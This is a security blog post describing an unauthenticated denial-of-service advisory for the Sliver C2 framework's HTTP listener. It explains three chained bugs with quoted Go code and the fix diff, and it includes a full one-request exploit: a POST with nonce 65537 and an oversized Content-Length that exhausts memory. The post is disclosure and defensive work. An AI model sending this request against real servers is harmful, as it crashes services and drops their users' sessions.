Back to Blog

GHSA-hjr9-wj7v-7hv8: Unauthenticated DoS in Sliver C2's HTTP Listener

Tobias Jensen

GHSA-hjr9-wj7v-7hv8: Unauthenticated DoS in Sliver's HTTP Listener

A moderate-severity vulnerability (CVSS 5.5) in BishopFox's Sliver C2 framework lets an unauthenticated attacker crash the HTTP listener with a single request. No credentials required, no special configuration needed. The server allocates memory without restriction and the process dies.

Three weaknesses combine. None of them are severe on their own. Chained together, a remote attacker can kill the C2 server, drop active sessions, and lock out operators until someone restarts the process.

The vulnerability chain

NoEncoder bypass

low

EncoderFromNonce() returns a passthrough encoder when nonce % 65537 equals 0, allowing any unauthenticated client to produce a valid request.

Unauthenticated routing

medium

anonymousHandler() forwards requests with a valid encoder straight to startSessionHandler() with no auth check in between.

Unbounded memory allocation

critical

startSessionHandler() calls io.ReadAll(req.Body) without a size limit, allocating memory proportional to attacker-controlled Content-Length.

Bug 1: The NoEncoder bypass

Sliver selects an encoder for each HTTP request using nonce-based modular arithmetic. The nonce arrives as a query parameter and the server computes nonce % 65537 to pick an encoder.

From server/encoders/encoders.go:

const (
    // EncoderModulus - The modulus used to calculate the encoder
    // ID from a C2 request nonce
    EncoderModulus = uint64(65537)
)

// EncoderFromNonce - Convert a nonce into an encoder
func EncoderFromNonce(nonce uint64) (uint64, encutil.Encoder, error) {
    encoderID := uint64(nonce) % EncoderModulus
    if encoderID == 0 {
        return 0, new(encutil.NoEncoder), nil  // <-- passthrough
    }
    if encoder, ok := EncoderMap[encoderID]; ok {
        return encoderID, encoder, nil
    }
    return 0, nil, fmt.Errorf("invalid encoder id: %d", encoderID)
}

A nonce that is a multiple of 65537 produces encoderID == 0. The function returns NoEncoder, a passthrough that skips encoding, alongside a nil error. The server accepts the request as valid protocol traffic.

The math

65537 (2^16 + 1) is the encoder modulus. Sending ?q=65537, ?q=131074, or any multiple satisfies nonce % 65537 == 0 and triggers the passthrough path.

Bug 2: Unauthenticated routing

Requests without a valid session cookie land in anonymousHandler, which tries to find an encoder from the URL. A valid encoder sends the request into startSessionHandler, the function that handles new implant registrations.

From server/c2/http.go:

func (s *SliverHTTPC2) anonymousHandler(
    resp http.ResponseWriter,
    req *http.Request,
) {
    encoder, err := getEncoder(req.URL, nil)
    if err != nil {
        s.stagerHandler(resp, req)
        return
    } else {
        s.startSessionHandler(resp, req, encoder)
        return
    }
}

Our crafted nonce gives getEncoder a valid NoEncoder, so err is nil. The router passes the request straight to startSessionHandler. No authentication gate sits between them.

Bug 3: Unbounded memory allocation

This is the bug that makes the chain exploitable. Before commit e9890bc, startSessionHandler read the full request body with no size cap.

Vulnerable (pre-e9890bc)Fixed (current main)
 func (s *SliverHTTPC2) startSessionHandler(     resp http.ResponseWriter,     req *http.Request,     encoder sliverEncoders.Encoder, ) {-    // No size limit on body read-    body, err := io.ReadAll(req.Body)+    // Capped at 8 MB for unauthenticated requests+    body, err := io.ReadAll(&io.LimitedReader{+        R: req.Body,+        N: int64(DefaultMaxUnauthBodyLength),+    })     if err != nil {         httpLog.Errorf("Failed to read body %s", err)         s.defaultHandler(resp, req)         return     }     data, err := encoder.Decode(body)     // ... }

The authenticated handler (readReqBody) always used a bounded reader:

// Authenticated path — always had a limit
body, err := io.ReadAll(&io.LimitedReader{
    R: req.Body,
    N: int64(DefaultMaxBodyLength),  // 2 GB
})

The size constants in server/c2/http.go:

const (
    DefaultMaxBodyLength       = 2 * 1024 * 1024 * 1024 // 2 GB — authenticated
    DefaultMaxUnauthBodyLength = 8 * 1024 * 1024        // 8 MB — unauthenticated (added in fix)
)

The authenticated path caps at 2 GB. The unauthenticated path had no cap at all.

The attack

Attack sequence

Attacker sends POST /path.js?q=65537

Content-Length: 9999999999

EncoderFromNonce(65537)

65537 % 65537 == 0 → returns NoEncoder (passthrough)

anonymousHandler → startSessionHandler

Valid encoder, no auth check

io.ReadAll(req.Body)

Allocates ~10 GB based on Content-Length

Server process crashes (OOM)

All HTTP sessions dropped, operators locked out

The full exploit is one HTTP request:

POST /some-path.js?q=65537 HTTP/1.1
Host: target-sliver-server:443
Content-Length: 9999999999

A single unauthenticated HTTP request takes down the Sliver listener. Active implant sessions connected over HTTP drop. Operators lose access until someone restarts the process.

Impact

Who is affected

Red teams and adversary simulation operators use Sliver as their C2 framework. If you run Sliver 1.5.0 through 1.5.44 with an HTTP or HTTPS listener on a reachable network, you are vulnerable.

A defender who fingerprints the Sliver HTTP listener (identifiable through nonce-based URL patterns) can kill the C2 server with curl. In a purple team exercise, blue teams can shut down red team infrastructure in a single request.

Detection signal

If you run a blue team: look for HTTP requests with query parameter values that are multiples of 65537, especially on unusual ports or paths. This nonce pattern fingerprints Sliver HTTP C2 traffic.

Recommendations

Mitigations

Build from main. The fix exists in the repo but has not shipped in a release. Clone and compile from the latest commit.

Restrict network access. Place the HTTP listener behind a reverse proxy or firewall that limits source addresses.

Monitor for anomalous requests. Alert on query parameters that are multiples of 65537.

Automate restarts. If you cannot patch, ensure process monitoring restarts the listener on crash.

CWE classification

CWE-770: Allocation of Resources Without Limits or Throttling. The server allocated memory proportional to attacker-controlled input with no upper bound.

Advisory details

FieldValue
Advisory IDGHSA-hjr9-wj7v-7hv8
SeverityModerate (CVSS 5.5)
Affected packagegithub.com/bishopfox/sliver
Affected versions1.5.0 through 1.5.44
Patched versionsNone (fix on main, unreleased)
CWECWE-770
Reporter@0xkato

Further reading